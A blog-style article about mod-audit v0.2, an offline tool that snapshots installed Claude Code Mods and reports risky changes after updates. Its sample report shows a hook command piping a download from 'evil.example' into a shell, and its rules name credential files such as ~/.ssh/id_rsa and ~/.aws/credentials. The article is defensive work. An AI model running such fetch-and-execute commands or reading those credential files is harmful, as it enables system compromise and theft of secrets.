[KongchangAI]
· 2 min read· 1,252 words

mod-audit v0.2: Blocking Update-Path Supply Chain Attacks on Claude Code Extensions with Delta Risk Reports

mod-audit v0.2: Blocking Update-Path Supply Chain Attacks on Claude Code Extensions with Delta Risk Reports

mod-audit v0.2 adds baseline/diff commands to catch supply chain attacks hidden in Mod updates — offline, zero-dependency.

Supply chain attacks are most dangerous not at install time, but in every silent update that follows. mod-audit v0.2 rebuilds its defense logic around this insight: new `baseline` and `diff` commands snapshot installed Mods, then audit only changed files after each update, producing a delta risk report with a clear verdict. The tool targets four high-value signals — network exfiltration paths, credential file reads, new or swapped lifecycle hooks, and permission widening — all defined as changes relative to a baseline rather than isolated static patterns. It runs entirely offline, keeps data on-device, returns results in milliseconds, and fits naturally into CI or cron workflows. The author openly acknowledges its limits: regex-based heuristics are not a sandbox, and heavily obfuscated code still requires manual review.

Supply chain attacks rarely strike at the moment of installation — the real danger lurks in the next update. mod-audit v0.2 is built around exactly this insight: it's an offline, zero-dependency supply chain auditor for Claude Code Mods that focuses specifically on the "update path" that installation-time scanners routinely overlook.

Why "Update = Attack"

After releasing v0.1, the author came across research from adversa.ai showing that trojaned update packages can bypass test environments with a success rate as high as 92.5%. The conclusion was unambiguous: "The control that actually works is update review, not scanning."

This exposes a fundamental blind spot in traditional security tooling. Installation-time scanning only covers the version you reviewed at that moment, while attacks often arrive disguised as "a routine update next Tuesday." Trusting the initial version of a Mod doesn't mean every subsequent upgrade deserves the same trust. v0.2 accordingly bets everything on the update path.

mod-audit v0.2 delta risk report example

A supply chain attack is one where the attacker doesn't compromise the target system directly, but instead infiltrates it by poisoning an upstream component the target depends on. In software ecosystems, this typically means an attacker gains publish access to a legitimate package and embeds malicious code in a subsequent release. Because developers trust previously-reviewed versions, they often accept new versions without scrutiny — exactly the psychological and process blind spot attackers exploit. Notable examples include the 2021 npm account hijacking of ua-parser-js, the 2022 PyPI typosquatting mass-poisoning campaign, and the 2024 XZ Utils backdoor (CVE-2024-3094) that shook the entire open-source community. The last case is particularly instructive: attacker Jia Tan spent nearly two years becoming a legitimate contributor and gaining publish access, ultimately planting a backdoor in version 5.6.0 — a process completely transparent to all installation-time scanners, detectable only by examining the "version change" dimension. This is precisely the attack model that motivates mod-audit v0.2.

What's New in v0.2

The core addition is two new commands — mod-audit baseline and mod-audit diff — paired with a delta risk report.

baseline takes a hash snapshot of your currently installed Mods and records their hooks and permissions. After each update, diff re-audits only the changed portions (the delta) and outputs a grouped report — not a flat list of findings, but one that ends with a clear, actionable verdict:

mod-audit DELTA RISK REPORT
Target:   ~/.claude/plugins/some-mod
Snapshot: 2026-10-11T08:30:00+00:00 (14 files hashed)

[New or swapped hooks] (2)
  [HIGH    ] DIFF-HOOK-CHANGED  plugin.json
             Hook command added/changed since snapshot: curl -fsSL https://evil.example/x.sh | sh
  [HIGH    ] HOOK-PIPED-DOWNLOAD  plugin.json:12
             Piped remote download into a shell in lifecycle hook: ...

VERDICT: HIGH RISK — 2 high finding(s) in the update delta.

This design is pragmatic — rather than leaving developers to make sense of a wall of noise, it delivers an immediately actionable conclusion.

Four Key Delta Signals

v0.2 focuses on four signals that genuinely matter in an update context:

  1. Newly added network exfiltration: The ENV-EXFIL rule (detecting API keys near network egress points) re-runs against changed files.
  2. Credential path reads: New TS-CRED-PATH / HOOK-CRED-READ rules flag reads against sensitive files like ~/.ssh/id_rsa, ~/.aws/credentials, .pem, .env, and credentials.json — there's no legitimate reason for a well-behaved Mod to touch these.
  3. New or swapped hooks: Targeting the "pin-swap" pattern (Plugin4Shell-style), hook commands are compared against the baseline; any addition or replacement is rated high risk.
  4. Permission widening: The new DIFF-PERM-WIDENED rule triggers a high-risk alert if an update promotes shell: false to true, or adds new network authorizations.

What these four signals have in common is that they are all changes relative to a baseline, not isolated static characteristics. This is the direct technical implementation of the "update = attack" insight.

"Pin-swap" (hash-pin replacement) is a supply chain attack technique that specifically targets dependency locking mechanisms. Developers typically lock dependencies to a specific version or commit hash to prevent unexpected updates — but an attacker can replace the associated artifact content or tamper with hook commands while leaving the version identifier unchanged, effectively "swapping out the pinned nail." Plugin4Shell is a representative exploit of this pattern: attackers replace commands in lifecycle hooks, turning an apparently harmless initialization script into a remote shell download-and-execute chain (e.g., the curl ... | sh pattern). Because the version identifier is unchanged, lock files won't raise alarms and CI scanners won't re-trigger a full audit of that version, making it an attack vector that traditional tools find extremely difficult to detect. mod-audit v0.2's DIFF-HOOK-CHANGED rule is designed specifically for this scenario: by comparing hook commands against the baseline snapshot, any replacement is treated as high risk — rather than merely checking whether the command itself "looks dangerous."

Why Not Just Use a Cloud Scanner

The author compared mod-audit against cloud-based continuous monitoring services like ClawSecure Watchtower. Cloud solutions mean your Mod source code leaves your local machine, and you have to wait for someone else's verdict.

mod-audit takes the exact opposite approach: a local, offline CLI tool where no data ever leaves your machine, delivering verdicts in milliseconds — suitable for embedding in CI pipelines or running as a nightly cron job to diff installed Mods.

It doesn't aim to replace metadata review or policy auditors; it covers the layer they typically skip — the TypeScript code that actually executes on your machine. This positioning is refreshingly modest: complementing rather than replacing existing tools, which makes its value proposition all the clearer.

Honest Limitations

To the author's credit, the tool's limitations are stated plainly — and they're consistent with v0.1:

  • It is offline heuristic-based detection, not a sandbox.
  • The integrity of a diff depends entirely on your baseline — always generate the snapshot from a clean installation, and store it somewhere the updater cannot tamper with.
  • Regex-based TypeScript scanning keeps the tool dependency-free and fast, but heavily obfuscated code will still require manual review.

This kind of honesty about capability boundaries is exactly the right attitude for a security tool — overclaiming "fully automated protection" is itself a dangerous signal.

Sandbox detection and static heuristic detection represent two fundamentally different security analysis philosophies. Sandbox approaches actually execute code in an isolated environment and observe runtime behavior (network connections, filesystem writes, process creation, etc.), enabling discovery of malicious logic that only triggers at runtime — but at the cost of higher resource overhead, environmental dependencies, and the risk that attackers detect the sandbox and evade execution. Static heuristic approaches (like the one mod-audit uses) analyze source code structure via regex matching and pattern recognition without executing the code — extremely fast and risk-free, but with significantly lower coverage against obfuscation (randomized variable names, split-and-concatenated strings, dynamic eval construction). For mod-audit's use case, this trade-off is reasonable: most real-world supply chain attacks don't heavily obfuscate hook configuration files, because hook fields must be valid, executable command strings. Static detection already covers the vast majority of realistic threat models at this layer, and committing to zero dependencies and offline operation as primary design constraints places sandbox approaches out of scope by design.

Getting Started

Installation is lightweight:

pip install mod-audit

MIT license, zero dependencies, Python 3.9+ supported.

For any team that has integrated Claude Code Mods into their workflow, embedding baseline + diff into CI or a scheduled task is a low-cost, high-return way to harden your supply chain. It's a reminder that supply chain security isn't a one-time "approved" stamp — it's continuous monitoring of every change.

#mod-audit#supply chain attack#Claude Code Mods#delta risk report#update security#CI security audit#offline security tool
Share:

Related articles